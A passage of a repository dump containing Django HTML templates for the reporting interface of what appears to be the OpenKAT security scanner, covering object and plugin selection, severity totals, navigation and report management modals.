novalidate\n          method=\"post\"\n          action=\"{{ next }}\"\n          class=\"inline layout-wide checkboxes_required\"\n          id=\"object_table_form\">\n        {% csrf_token %}\n        {% if all_oois_selected %}\n            {% include \"forms/report_form_fields.html\" %}\n\n        {% else %}\n            {% include \"forms/report_form_fields.html\" with disable_ooi_selection_fields=True %}\n\n        {% endif %}\n        <div class=\"horizontal-scroll\">\n            <table>\n                <caption class=\"visually-hidden\">{% translate \"Objects\" %}</caption>\n                <thead>\n                    <th>\n                        <input class=\"select_all_objects_element\"\n                               type=\"checkbox\"\n                               {% if all_oois_selected %}checked{% endif %}>\n                    </th>\n                    <th>{% translate \"Object name\" %}</th>\n                    <th>{% translate \"Type\" %}</th>\n                    <th>{% translate \"Clearance level\" %}</th>\n                    <th>{% translate \"Clearance type\" %}</th>\n                </thead>\n                <tbody>\n                    {% for object in ooi_list %}\n                        <tr>\n                            <td>\n                                <input type=\"checkbox\"\n                                       name=\"ooi\"\n                                       value=\"{{ object.primary_key }}\"\n                                       {% if object.primary_key in selected_oois or all_oois_selected %}checked{% endif %}\n                                       {% if all_oois_selected %}disabled{% endif %}>\n                            </td>\n                            <td>{{ object.human_readable }}</td>\n                            <td>{{ object.ooi_type }}</td>\n                            <td>\n                                {% include \"partials/scan_level_indicator.html\" with value=object.scan_profile.level.value %}\n\n                            </td>\n                            <td>{{ object.scan_profile.scan_profile_type|title }}</td>\n                        </tr>\n                    {% endfor %}\n                </tbody>\n            </table>\n            {% if not ooi_list %}\n                <div class=\"explanation\">\n                    <div>\n                        <span>{% translate \"Report(s) may be empty due to no objects in the selected filters.\" %}</span>\n                        {% blocktranslate trimmed %}\n                            Reports matching the selected filters will be empty at this moment in time.\n                            Future reports may contain data. It is still possible to generate the\n                            (potentially empty) report.\n                        {% endblocktranslate %}\n                    </div>\n                </div>\n            {% else %}\n                {% include \"partials/list_paginator.html\" %}\n\n            {% endif %}\n        </div>\n    </form>\n    <form id=\"live_set\"\n          novalidate\n          method=\"post\"\n          action=\"{{ next }}\"\n          class=\"inline layout-wide checkboxes_required\">\n        {% csrf_token %}\n        {% include \"forms/report_form_fields.html\" %}\n\n        <input type=\"hidden\" name=\"ooi\" value=\"all\">\n    </form>\n</div>\n<div class=\"button-container\">\n    <button form=\"live_set\"\n            type=\"submit\"\n            class=\"button select_all_objects_element\"\n            name=\"object_selection\"\n            value=\"query\">\n        {% translate \"Continue with live set\" %}<span class=\"icon ti-chevron-right\"></span>\n    </button>\n    {% if ooi_list %}\n        <button form=\"object_table_form\"\n                type=\"submit\"\n                class=\"button ghost\"\n                name=\"object_selection\"\n                value=\"selection\">\n            {% translate \"Continue with selection\" %}<span class=\"icon ti-chevron-right\"></span>\n        </button>\n    {% endif %}\n</div>\n<form novalidate id=\"select_all_objects_form\" class=\"inline\" method=\"get\">\n    {% include \"forms/report_form_fields.html\" with disable_ooi_selection_fields=True %}\n\n    {% if not all_oois_selected %}<input type=\"hidden\" name=\"ooi\" value=\"all\">{% endif %}\n</form>\n"
  },
  {
    "path": "rocky/reports/templates/partials/report_setup_scan.html",
    "content": "{% load i18n %}\n{% load static %}\n\n<section>\n    <div>\n        <h2>{% translate \"Configuration\" %}</h2>\n        <p>{% translate \"Set up the required plugins for this report.\" %}</p>\n        {% if selected_report_types %}\n            {% include \"partials/return_button.html\" with btn_text=\"Change selection\" %}\n            {% include \"partials/plugin_overview_table.html\" %}\n\n            <h2>{% translate \"Plugins\" %}</h2>\n            <p>\n                <strong>{% translate \"KAT will be able to generate a full report when all the required and suggested boefjes are enabled.\" %}</strong>\n            </p>\n            <p>\n                {% blocktranslate trimmed %}\n                    If you choose not to enable a plugin, the data that plugin would\n                    collect or produce will be left out of the report which will then be generated\n                    based on the available data collected by the enabled plugins.\n                {% endblocktranslate %}\n            </p>\n            <p>\n                {% blocktranslate trimmed %}\n                    Some plugins are mandatory as they are crucial for a report type.\n                    Reports that don't have their requirements met will be skipped.\n                {% endblocktranslate %}\n            </p>\n            <p class=\"warning\"\n               role=\"group\"\n               aria-label=\"{% translate \"scan level warning\" %}\">\n                <span>{% translate \"Warning! Before you proceed read the following points:\" %}</span>\n                {% blocktranslate trimmed %}\n                    OpenKAT is designed to scan all known objects on a regular basis using the enabled plugins and set clearance levels. This means that scans will run automatically.\n                    Be patient; plugins may take some time before they have collected all their data.\n                    Enabling them just before report generation will likely result in inaccurate reports, as plugins have not finished collecting data.\n                {% endblocktranslate %}\n            </p>\n            <h3>{% translate \"Required plugins\" %}</h3>\n            {% if enabled_plugins.required %}\n                <p>{% translate \"Good job! All required plugins are enabled.\" %}</p>\n            {% elif plugins.required %}\n                <p>{% translate \"This report type requires the following plugins to be enabled:\" %}</p>\n                <a class=\"toggle-all toggle-on\"\n                   data-toggle-target=\".required-plugins input[name=plugin]\">{% translate \"Toggle all required plugins\" %}</a>\n                <div class=\"required-plugin-container\">\n                    <div class=\"toolbar\">\n                        <div class=\"checkbox\">\n                            <input type=\"checkbox\"\n                                   class=\"display-toggle\"\n                                   id=\"checkbox-for-enabled-required-plugins\">\n                            <label for=\"checkbox-for-enabled-required-plugins\">{% translate \"Show enabled plugins\" %}</label>\n                        </div>\n                    </div>\n                    <div class=\"column-4 tiles plugins images-cover required-plugins\">\n                        {% for required_plugin in plugins.required|dictsort:\"enabled\" %}\n                            {% if required_plugin.enabled %}\n                                {% include \"partials/plugin_tile.html\" with form_id=\"continue-to-configuration\" plugin_report_types=plugin_data.plugin_report_types show_report_types=\"yes\" plugin=required_plugin remove_action_buttons=\"yes\" add_checkbox=\"yes\" %}\n\n                            {% else %}\n                                {% include \"partials/plugin_tile.html\" with form_id=\"continue-to-configuration\" plugin_report_types=plugin_data.plugin_report_types show_report_types=\"yes\" plugin=required_plugin remove_action_buttons=\"yes\" add_checkbox=\"yes\" checked=\"yes\" %}\n\n                            {% endif %}\n                        {% endfor %}\n                    </div>\n                </div>\n            {% else %}\n                <p>{% translate \"There are no required plugins.\" %}</p>\n            {% endif %}\n            <h3>{% translate \"Suggested plugins\" %}</h3>\n            {% if enabled_plugins.optional %}\n                <p>{% translate \"Good job! All suggested plugins are enabled.\" %}</p>\n            {% elif plugins.optional %}\n                <p>{% translate \"The following plugins are optional to generate the report:\" %}</p>\n                <a class=\"toggle-all\"\n                   data-toggle-target=\".optional-plugins input[name=plugin]\">{% translate \"Toggle all optional plugins\" %}</a>\n                <div class=\"optional-plugin-container hide-overflow\">\n                    <div class=\"toolbar\">\n                        <div class=\"checkbox\">\n                            <input type=\"checkbox\"\n                                   class=\"display-toggle\"\n                                   id=\"checkbox-for-enabled-optional-plugins\">\n                            <label for=\"checkbox-for-enabled-optional-plugins\">{% translate \"Show enabled plugins\" %}</label>\n                        </div>\n                    </div>\n                    <div class=\"column-4 tiles plugins images-cover optional-plugins\">\n                        {% for optional_plugin in plugins.optional|dictsort:\"enabled\" %}\n                            {% include \"partials/plugin_tile.html\" with form_id=\"continue-to-configuration\" plugin_report_types=plugin_data.plugin_report_types show_report_types=\"yes\" plugin=optional_plugin remove_action_buttons=\"yes\" add_checkbox=\"yes\" %}\n\n                        {% endfor %}\n                    </div>\n                    <div class=\"toolbar\">\n                        <button class=\"button ghost\"\n                                id=\"more-suggested-plugins\"\n                                data-hide-text=\"{% translate \"Hide suggested plugins\" %}\"\n                                data-show-text=\"{% translate \"Show more suggested plugins\" %}\"></button>\n                    </div>\n                </div>\n            {% else %}\n                <p>{% translate \"There are no optional plugins.\" %}</p>\n            {% endif %}\n            <form id=\"continue-to-configuration\"\n                  class=\"inline\"\n                  method=\"post\"\n                  action=\"{{ next }}\">\n                {% csrf_token %}\n                {% include \"forms/report_form_fields.html\" %}\n\n                <button type=\"submit\">\n                    {% translate \"Enable selected plugins and continue\" %}<span class=\"icon ti-chevron-right\"></span>\n                </button>\n            </form>\n        {% else %}\n            {% include \"partials/return_button.html\" with btn_text=\"Go back\" %}\n\n        {% endif %}\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/reports/templates/partials/report_severity_totals_table.html",
    "content": "{% load i18n %}\n\n{% if show_introduction %}\n    <p class=\"toggle-item\" data-show=\"off\">\n        {% blocktranslate %}\n            This overview shows the total number of findings per\n            severity that have been identified for this organization.\n        {% endblocktranslate %}\n    </p>\n{% endif %}\n<div>\n    <table>\n        <caption class=\"visually-hidden\">{% translate \"Total per severity overview\" %}</caption>\n        <thead>\n            <tr>\n                <th>{% translate \"Risk level\" %}</th>\n                <th class=\"number\">{% translate \"Finding types\" %}</th>\n                <th class=\"number\">{% translate \"Occurrences\" %}</th>\n            </tr>\n        </thead>\n        <tbody>\n            <tr>\n                <td>\n                    <span class=\"critical\">{% translate \"Critical\" %}</span>\n                </td>\n                <td class=\"number\">{{ data.total_by_severity_per_finding_type.critical }}</td>\n                <td class=\"number\">{{ data.total_by_severity.critical }}</td>\n            </tr>\n            <tr>\n                <td>\n                    <span class=\"high\">{% translate \"High\" %}</span>\n                </td>\n                <td class=\"number\">{{ data.total_by_severity_per_finding_type.high }}</td>\n                <td class=\"number\">{{ data.total_by_severity.high }}</td>\n            </tr>\n            <tr>\n                <td>\n                    <span class=\"medium\">{% translate \"Medium\" %}</span>\n                </td>\n                <td class=\"number\">{{ data.total_by_severity_per_finding_type.medium }}</td>\n                <td class=\"number\">{{ data.total_by_severity.medium }}</td>\n            </tr>\n            <tr>\n                <td>\n                    <span class=\"low\">{% translate \"Low\" %}</span>\n                </td>\n                <td class=\"number\">{{ data.total_by_severity_per_finding_type.low }}</td>\n                <td class=\"number\">{{ data.total_by_severity.low }}</td>\n            </tr>\n            <tr>\n                <td>\n                    <span class=\"recommendation\">{% translate \"Recommendation\" %}</span>\n                </td>\n                <td class=\"number\">{{ data.total_by_severity_per_finding_type.recommendation }}</td>\n                <td class=\"number\">{{ data.total_by_severity.recommendation }}</td>\n            </tr>\n            <tr>\n                <td>\n                    <span class=\"pending\">{% translate \"Pending\" %}</span>\n                </td>\n                <td class=\"number\">{{ data.total_by_severity_per_finding_type.pending }}</td>\n                <td class=\"number\">{{ data.total_by_severity.pending }}</td>\n            </tr>\n            <tr>\n                <td>\n                    <span class=\"unknown\">{% translate \"Unknown\" %}</span>\n                </td>\n                <td class=\"number\">{{ data.total_by_severity_per_finding_type.unknown }}</td>\n                <td class=\"number\">{{ data.total_by_severity.unknown }}</td>\n            </tr>\n            <tfoot>\n                <tr>\n                    <td>{% translate \"Total\" %}</td>\n                    <td class=\"number\">{{ data.total_finding_types }}</td>\n                    <td class=\"number\">{{ data.total_occurrences }}</td>\n                </tr>\n            </tfoot>\n        </tbody>\n    </table>\n</div>\n"
  },
  {
    "path": "rocky/reports/templates/partials/report_sidemenu.html",
    "content": "{% load i18n %}\n\n<div class=\"sticky-container\" id=\"sticky-container\">\n    <nav data-open-label=\"Zijbalknavigatie\"\n         data-close-label=\"Sluit zijbalknavigatie\"\n         aria-label=\"Zijbalknavigatie\"\n         id=\"sticky-overflow\">\n        <h2 class=\"heading-large\">{% translate \"Table of contents\" %}</h2>\n        <div>\n            <ol class=\"chapter-numbers\">\n                <li>\n                    <a href=\"#recommendations\">{% translate \"Recommendations\" %}</a>\n                </li>\n                <li>\n                    <a href=\"#asset-overview\">{% translate \"Asset overview\" %}</a>\n                </li>\n                {% if data.open_ports %}\n                    <li>\n                        <a href=\"#open-ports\">{% translate \"Open ports\" %}</a>\n                    </li>\n                {% endif %}\n                {% if data.ipv6 %}\n                    <li>\n                        <a href=\"#ipv6\">IPv6</a>\n                    </li>\n                {% endif %}\n                {% if data.basic_security.summary %}\n                    <li>\n                        <a href=\"#basic-security\">{% translate \"Basic security\" %}</a>\n                        <ol>\n                            <li>\n                                <a href=\"#basic-security-overview\">{% translate \"Overview\" %}</a>\n                            </li>\n                            {% if data.basic_security.safe_connections %}\n                                <li>\n                                    <a href=\"#safe-connections\">{% translate \"Safe connections\" %}</a>\n                                </li>\n                            {% endif %}\n                            {% if data.basic_security.system_specific %}\n                                <li>\n                                    <a href=\"#system-specific\">{% translate \"System specific\" %}</a>\n                                </li>\n                            {% endif %}\n                            {% if data.basic_security.rpki %}\n                                <li>\n                                    <a href=\"#rpki\">{% translate \"Resource Public Key Infrastructure\" %}</a>\n                                </li>\n                            {% endif %}\n                        </ol>\n                    </li>\n                {% endif %}\n                {% if data.vulnerabilities %}\n                    <li>\n                        <a href=\"#vulnerabilities\">{% translate \"Vulnerabilities\" %}</a>\n                        <ol>\n                            {% for input_ooi, vulnerabilities in data.vulnerabilities.items %}\n                                {% if vulnerabilities.vulnerabilities %}\n                                    <li class=\"object\">\n                                        <a href=\"#vulnerabilities\">{{ vulnerabilities.title }}</a>\n                                    </li>\n                                {% endif %}\n                            {% endfor %}\n                        </ol>\n                    </li>\n                {% endif %}\n                {% if data.findings.summary %}\n                    <li>\n                        <a href=\"#findings\">{% translate \"Findings\" %}</a>\n                        <ol>\n                            <li>\n                                <a href=\"#findings-overview\">{% translate \"Findings overview\" %}</a>\n                            </li>\n                            {% if data.findings.finding_types %}\n                                <li>\n                                    <a href=\"#findings-table\">{% translate \"Findings\" %}</a>\n                                </li>\n                            {% endif %}\n                        </ol>\n                    </li>\n                {% endif %}\n            </ol>\n            <ol class=\"chapter-numbers type-a\">\n                <li>\n                    <a href=\"#appendix\">{% translate \"Appendix\" %}</a>\n                    <ol>\n                        <li>\n                            <a href=\"#term-overview\">{% translate \"Term Overview\" %}</a>\n                        </li>\n                        {% if 'multi-organization-report' not in data.input_data.report_types %}\n                            <li>\n                                <a href=\"#selected-oois\">{% translate \"Selected Objects\" %}</a>\n                            </li>\n                            <li>\n                                <a href=\"#selected-report-types\">{% translate \"Selected Report Types\" %}</a>\n                            </li>\n                            <li>\n                                <a href=\"#selected-plugins\">{% translate \"Selected Plugins\" %}</a>\n                            </li>\n                            <li>\n                                <a href=\"#service-versions-and-health\">{% translate \"Service Versions and Health\" %}</a>\n                            </li>\n                            <li>\n                                <a href=\"#used-config-oois\">{% translate \"Used Config Objects\" %}</a>\n                            </li>\n                        {% endif %}\n                    </ol>\n                </li>\n            </ol>\n        </div>\n    </nav>\n</div>\n"
  },
  {
    "path": "rocky/reports/templates/partials/report_types_selection.html",
    "content": "{% load i18n %}\n{% load static %}\n\n<section>\n    <div>\n        <h1>{% translate \"Choose report types\" %}</h1>\n        <p>\n            {% blocktranslate trimmed %}\n                Various types of reports, such as DNS reports and TLS reports, are essential for identifying\n                vulnerabilities in different aspects of a system's security. DNS reports focus on domain name\n                system configuration and potential weaknesses, while TLS reports assess the security of data\n                encryption and transmission protocols, helping organizations pinpoint areas where security\n                improvements are needed.\n            {% endblocktranslate %}\n        </p>\n        <h2>\n            {% blocktranslate trimmed count counter=oois|length %}\n                Selected object ({{ total_oois }})\n            {% plural %}\n                Selected objects ({{ total_oois }})\n            {% endblocktranslate %}\n        </h2>\n        <p>\n            {% if object_selection == \"query\" %}\n                {% blocktranslate trimmed %}\n                    You have selected a live set in the previous step. Based on the current\n                    dataset, this live set results in {{ total_oois }} objects.\n                {% endblocktranslate %}\n                <div>\n                    <strong>{% translate \"Applied filters:\" %}</strong>\n                    <ul>\n                        {% if active_filters %}\n                            {% for filter, value in active_filters.items %}\n                                <li>\n                                    <strong>{{ filter }}</strong> {{ value }}\n                                </li>\n                            {% endfor %}\n                        {% else %}\n                            <li>{% translate \"No filters applied\" %}</li>\n                        {% endif %}\n                    </ul>\n                </div>\n            {% else %}\n                {% blocktranslate trimmed count counter=oois|length %}\n                    You have selected {{ total_oois }} object in the previous step.\n                {% plural %}\n                    You have selected {{ total_oois }} objects in the previous step.\n                {% endblocktranslate %}\n            {% endif %}\n        </p>\n        {% if not all_oois_selected %}\n            {% include \"summary/ooi_selection.html\" %}\n\n        {% endif %}\n        <form novalidate\n              method=\"post\"\n              action=\"{{ previous }}\"\n              class=\"inline layout-wide\">\n            {% csrf_token %}\n            {% include \"forms/report_form_fields.html\" with selected_report_types=None %}\n\n            <button type=\"submit\" class=\"button ghost\">\n                <span class=\"icon ti-chevron-left\"></span>{% translate \"Change selection\" %}\n            </button>\n        </form>\n        <h2>{% translate \"Available report types\" %} ({{ count_available_report_types }})</h2>\n        <p>{% translate \"All report types that are available for your selection.\" %}</p>\n        <a class=\"toggle-all {% if all_report_types_checked %}toggle-on{% endif %}\"\n           data-toggle-target=\"report_type\">{% translate \"Toggle all report types\" %}</a>\n        <form class=\"inline layout-wide checkboxes_required\"\n              method=\"post\"\n              action=\"{{ next }}\">\n            {% csrf_token %}\n            {% include \"forms/report_form_fields.html\" with disable_report_type_fields=True %}\n\n            <div class=\"column-4 tiles\">\n                {% if \"required\" in available_report_types %}\n                    {% include \"partials/report_types_tiles_required_optional.html\" with report_types=available_report_types %}\n\n                {% else %}\n                    {% include \"partials/report_types_tiles.html\" with report_types=available_report_types %}\n\n                {% endif %}\n            </div>\n            <button type=\"submit\">\n                {% translate \"Continue with selection\" %}<span class=\"icon ti-chevron-right\"></span>\n            </button>\n        </form>\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/reports/templates/partials/report_types_tiles.html",
    "content": "{% for report_type in report_types|dictsort:\"name\" %}\n    <div class=\"tile-container\">\n        <p class=\"tile-title\">\n            {{ report_type.name }}\n            <input type=\"checkbox\"\n                   name=\"report_type\"\n                   value=\"{{ report_type.id }}\"\n                   {% if report_type.id in selected_report_types %}checked{% endif %} />\n        </p>\n        <p class=\"tile-description\">{{ report_type.description }}</p>\n    </div>\n{% endfor %}\n"
  },
  {
    "path": "rocky/reports/templates/partials/report_types_tiles_required_optional.html",
    "content": "{% for option, report_types in report_types.items %}\n    {% for report_type in report_types|dictsort:\"name\" %}\n        <div class=\"tile-container\">\n            <p class=\"tile-title\">\n                {{ report_type.name }}\n                {% if option == \"optional\" %}\n                    <input type=\"checkbox\"\n                           name=\"report_type\"\n                           value=\"{{ report_type.id }}\"\n                           {% if report_type.id in selected_report_types %}checked{% endif %} />\n                {% else %}\n                    <input type=\"hidden\" name=\"report_type\" value=\"{{ report_type.id }}\" />\n                {% endif %}\n            </p>\n            <p class=\"tile-description\">{{ report_type.description }}</p>\n        </div>\n    {% endfor %}\n{% endfor %}\n"
  },
  {
    "path": "rocky/reports/templates/partials/return_button.html",
    "content": "{% load i18n %}\n\n<form novalidate\n      method=\"post\"\n      action=\"{{ previous }}\"\n      class=\"inline layout-wide\">\n    {% csrf_token %}\n    {% include \"forms/report_form_fields.html\" %}\n\n    <button name=\"return\" type=\"submit\" class=\"button ghost\">\n        <span class=\"icon ti-chevron-left\"></span>\n        {% blocktranslate %}{{ btn_text }}{% endblocktranslate %}\n    </button>\n</form>\n"
  },
  {
    "path": "rocky/reports/templates/report_overview/modal_partials/delete_modal.html",
    "content": "{% load i18n %}\n\n{% component 'modal' size='dialog-large' modal_id='delete-modal' %}\n{% fill 'header' %}{% translate \"Delete the following report(s):\" %}{% endfill %}\n{% fill 'content' %}\n<p>\n    {% blocktranslate trimmed %}\n        Deleted reports are removed in the view from the moment of deletion.\n        The report can still be accessed on timestamps before the deletion.\n        Only the report is removed from the view, not the data it is based on.\n    {% endblocktranslate %}\n</p>\n<p>\n    {% blocktranslate trimmed %}\n        It is still possible to generate a new report for same date.\n        If the report is part of a combined report, it will remain available in the combined report.\n    {% endblocktranslate %}\n</p>\n<form id=\"delete-form\" class=\"inline layout-wide\" method=\"post\">\n    {% csrf_token %}\n    <table id=\"delete-table\">\n        <thead>\n            <tr>\n                {% comment %} <th>{% translate \"Report type\" %}</th> {% endcomment %}\n                <th>{% translate \"Name\" %}</th>\n                <th>{% translate \"Type\" %}</th>\n                <th>{% translate \"Input objects\" %}</th>\n                <th>{% translate \"Reference date\" %}</th>\n                <th>{% translate \"Creation date\" %}</th>\n            </tr>\n        </thead>\n        <tbody>\n            <tr class=\"delete-table-row\">\n                <td class=\"name\">\n                    <span class=\"name-holder\"></span>\n                    <input type=\"hidden\" name=\"report_reference\" class=\"report-reference-input\" />\n                </td>\n                <td class=\"type\">\n                    <ul class=\"tags horizontal-view\">\n                    </ul>\n                </td>\n                <td class=\"input_objects\"></td>\n                <td class=\"reference_date\"></td>\n                <td class=\"creation_date\"></td>\n            </tr>\n        </tbody>\n    </table>\n</form>\n{% endfill %}\n{% fill \"footer_buttons\" %}\n<button type=\"submit\"\n        form=\"delete-form\"\n        class=\"destructive\"\n        name=\"action\"\n        value=\"delete\">{% translate \"Delete\" %}</button>\n{% endfill %}\n{% endcomponent %}\n{% component_css_dependencies %}\n"
  },
  {
    "path": "rocky/reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html",
    "content": "{% load i18n %}\n\n{% with form_id=\"disable-form-\"|add:recipe_id %}\n    {% component \"modal\" size=\"dialog-small\" modal_id=\"disable-schedule-modal-\"|add:recipe_id %}\n    {% fill \"header\" %}\n    {% translate \"Disable schedule\" %}\n{% endfill %}\n{% fill \"content\" %}\n<p>\n    {% blocktranslate with report_name=recipe_name trimmed %}\n        Are you sure you want to disable the schedule for <strong>{{ report_name }}</strong>?\n        The recipe will still exist and the schedule can be enabled later on.\n    {% endblocktranslate %}\n</p>\n<form id={{ form_id }} class=\"hidden\" method=\"post\" action=\"{% url \"enable_disable_scheduled_reports\" organization.code %}\">\n    {% csrf_token %}\n    <input type=\"hidden\" name=\"recipe_id\" value=\"{{ recipe_id }}\" />\n    <input type=\"hidden\" name=\"report_name_format\" value=\"{{ recipe_name }}\" />\n</form>\n{% endfill %}\n{% fill \"footer_buttons\" %}\n<button type=\"submit\" form={{ form_id }} class=\"destructive\">{% translate \"Disable schedule\" %}\n</button>\n<button class=\"ghost close-modal-button\">{% translate \"Cancel\" %}</button>\n{% endfill %}\n{% endcomponent %}\n{% component_css_dependencies %}\n{% endwith %}\n"
  },
  {
    "path": "rocky/reports/templates/report_overview/modal_partials/rename_modal.html",
    "content": "{% load i18n %}\n\n{% component \"modal\" size=\"dialog-large\" modal_id=\"rename-modal\" %}\n{% fill \"header\" %}\n{% translate \"Rename the following report(s):\" %}\n{% endfill %}\n{% fill \"content\" %}\n<form id=\"rename-form\" class=\"inline layout-wide\" method=\"post\">\n    {% csrf_token %}\n    <table id=\"report-name-table\">\n        <thead>\n            <tr>\n                <th>{% translate \"Report type\" %}</th>\n                <th colspan=\"2\">{% translate \"Name\" %}</th>\n                {% comment %} <th>{% translate \"Reference date\" %}</th> {% endcomment %}\n            </tr>\n        </thead>\n        <tbody>\n            <tr class=\"rename-table-row\">\n                <td class=\"type\">\n                    <ul class=\"tags horizontal-view\">\n                    </ul>\n                </td>\n                <td class=\"name\">\n                    <input type=\"text\" name=\"report_name\" class=\"report-name-input name-input\">\n                    <input type=\"hidden\" name=\"report_reference\" class=\"report-reference-input\">\n                </td>\n                <td>\n                    <button type=\"button\"\n                            class=\"icon ti-arrow-back-up action-button reset-button hidden\"\n                            aria-label=\"{% translate \"Reset\" %}\"></button>\n                </td>\n                {% comment %} <td class=\"date\"></td> {% endcomment %}\n            </tr>\n        </tbody>\n    </table>\n</form>\n{% endfill %}\n{% fill \"footer_buttons\" %}\n<button type=\"submit\"\n        form=\"rename-form\"\n        class=\"submit\"\n        name=\"action\"\n        value=\"rename\">{% translate \"Rename\" %}</button>\n{% endfill %}\n{% endcomponent %}\n{% component_css_dependencies %}\n"
  },
  {
    "path": "rocky/reports/templates/report_overview/modal_partials/rerun_modal.html",
    "content": "{% load i18n %}\n\n{% component 'modal' size='dialog-large' modal_id='rerun-modal' %}\n{% fill 'header' %}{% translate \"Rerun the following report(s):\" %}{% endfill %}\n{% fill 'content' %}\n<p>\n    {% blocktranslate trimmed %}\n        By submitting you're generating the selected reports again, using the current data.\n    {% endblocktranslate %}\n</p>\n<form id=\"rerun-form\" class=\"inline layout-wide\" method=\"post\">\n    {% csrf_token %}\n    <table id=\"rerun-table\">\n        <thead>\n            <tr>\n                <th>{% translate \"Name\" %}</th>\n                <th>{% translate \"Type\" %}</th>\n                <th>{% translate \"Input objects\" %}</th>\n                <th>{% translate \"Reference date\" %}</th>\n                <th>{% translate \"Creation date\" %}</th>\n            </tr>\n        </thead>\n        <tbody>\n            <tr class=\"rerun-table-row\">\n                <td class=\"name\">\n                    <span class=\"name-holder\"></span>\n                    <input type=\"hidden\" name=\"report_reference\" class=\"report-reference-input\" />\n                </td>\n                <td class=\"type\">\n                    <ul class=\"tags horizontal-view\">\n                    </ul>\n                </td>\n                <td class=\"input_objects\"></td>\n                <td class=\"reference_date\"></td>\n                <td class=\"creation_date\"></td>\n            </tr>\n        </tbody>\n    </table>\n</form>\n{% endfill %}\n{% fill \"footer_buttons\" %}\n<button type=\"submit\"\n        form=\"rerun-form\"\n        class=\"submit\"\n        name=\"action\"\n        value=\"rerun\">{% translate \"Rerun\" %}</button>\n{% endfill %}\n{% endcomponent %}\n{% component_css_dependencies %}\n"
  },
  {
    "path": "rocky/reports/templates/report_overview/modal_partials/share_modal.html",
    "content": "{% load i18n %}\n\n{% component 'modal' size='dialog-large' modal_id='delete-modal' %}\n{% fill 'header' %}{% translate \"Delete the following report(s):\" %}{% endfill %}\n{% fill 'content' %}\n<p>\n    {% blocktranslate trimmed %}\n        Deleted reports are removed in the view from the moment of deletion.\n        The report can still be accessed on timestamps before the deletion.\n        Only the report is removed from the view, not the data it is based on.\n    {% endblocktranslate %}\n</p>\n<p>\n    {% blocktranslate trimmed %}\n        It is still possible to generate a new report for same date.\n        If the report is part of a combined report, it will remain available in the combined report.\n    {% endblocktranslate %}\n</p>\n<form id=\"delete-form\" class=\"inline layout-wide\" method=\"post\">\n    {% csrf_token %}\n    <table id=\"delete-table\">\n        <thead>\n            <tr>\n                {% comment %} <th>{% translate \"Report type\" %}</th> {% endcomment %}\n                <th>{% translate \"Name\" %}</th>\n                {% comment %} <th>{% translate \"Reference date\" %}</th> {% endcomment %}\n            </tr>\n        </thead>\n        <tbody>\n            <tr class=\"delete-table-row\">\n                {% comment %} <td class=\"type\"></td> {% endcomment %}\n                <td class=\"name\">\n                    <span class=\"name-holder\"></span>\n                    <input type=\"hidden\" name=\"report_reference\" class=\"report-reference-input\" />\n                </td>\n                {% comment %} <td class=\"date\"></td> {% endcomment %}\n            </tr>\n        </tbody>\n    </table>\n</form>\n{% endfill %}\n{% fill \"footer_buttons\" %}\n<input type=\"submit\" form=\"delete-form\" class=\"destructive\" value=\"Delete\" />\n{% endfill %}\n{% endcomponent %}\n{% component_css_dependencies %}\n"
  },
  {
    "path": "rocky/reports/templates/report_overview/report_history.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            {% include \"report_overview/report_overview_header.html\" %}\n            {% include \"report_overview/report_overview_navigation.html\" with active=\"history\" %}\n\n            <div class=\"horizontal-scroll\">\n                <h2>{% translate \"Reports history\" %}</h2>\n                <p>\n                    {% translate \"On this page you can see all the reports that have been generated in the past. To create a new report, click the 'Generate Report' button.\" %}\n                </p>\n                {% include \"report_overview/report_history_table.html\" %}\n                {% include \"partials/list_paginator.html\" %}\n\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/reports/templates/report_overview/report_history_table.html",
    "content": "{% load i18n %}\n{% load static %}\n{% load ooi_extra %}\n{% load report_extra %}\n{% load component_tags %}\n\n{% if reports %}\n    <div class=\"fifty-fifty\">\n        <p class=\"de-emphasized\">\n            {% blocktranslate with length=reports|length total=total_reports trimmed %}\n                Showing {{ length }} of {{ total }} reports\n            {% endblocktranslate %}\n        </p>\n        <div class=\"horizontal-view toolbar\">\n            <div class=\"dropdown\">\n                <button aria-controls=\"action-dropdown\"\n                        aria-expanded=\"false\"\n                        class=\"dropdown-button ghost\">\n                    {% translate \"Actions\" %}\n                    <span aria-hidden=\"true\" class=\"icon ti-chevron-down\"></span>\n                </button>\n                <div id=\"action-dropdown\" class=\"dropdown-list left\">\n                    <ul>\n                        <li>\n                            <a href=\"#rerun-modal\"><i class=\"icon ti-refresh\"></i>{% translate \"Rerun\" %}</a>\n                        </li>\n                        <li>\n                            <a href=\"#rename-modal\"><i class=\"icon ti-edit\"></i>{% translate \"Rename\" %}</a>\n                        </li>\n                        {% if perms.tools.can_delete_oois %}\n                            <li>\n                                <a href=\"#delete-modal\" class=\"destructive\"><i class=\"icon ti-trash\"></i>{% translate \"Delete\" %}</a>\n                            </li>\n                        {% endif %}\n                    </ul>\n                </div>\n            </div>\n            {% include \"report_overview/modal_partials/rerun_modal.html\" %}\n            {% include \"report_overview/modal_partials/rename_modal.html\" %}\n\n            {% if perms.tools.can_delete_oois %}\n                {% include \"report_overview/modal_partials/delete_modal.html\" %}\n\n            {% endif %}\n        </div>\n    </div>\n    <div class=\"horizontal-scroll sticky-column\">\n        <form class=\"inline layout-wide\">\n            <table>\n                <caption class=\"visually-hidden\">{% translate \"Reports:\" %}</caption>\n                <thead>\n                    <tr>\n                        <th>\n                            <input class=\"toggle-all\" data-toggle-target=\"report\" type=\"checkbox\">\n                        </th>\n                        <th scope=\"col\">{% translate \"Name\" %}</th>\n                        <th scope=\"col\">{% translate \"Report type\" %}</th>\n                        <th scope=\"col\" class=\"nowrap\">{% translate \"Input objects\" %}</th>\n                        <th scope=\"col\" class=\"nowrap\">{% translate \"Reference date\" %}</th>\n                        <th scope=\"col\" class=\"nowrap\">{% translate \"Creation date\" %}</th>\n                        <th scope=\"col\"></th>\n                    </tr>\n                </thead>\n                <tbody>\n                    {% for report in reports %}\n                        <tr>\n                            <td>\n                                <input type=\"checkbox\"\n                                       class=\"report-checkbox\"\n                                       name=\"report\"\n                                       value=\"{{ report.report.reference }}\"\n                                       {% if report.id in selected_reports or \"all\" in selected_reports %}checked{% endif %}\n                                       {% if \"all\" in selected_reports 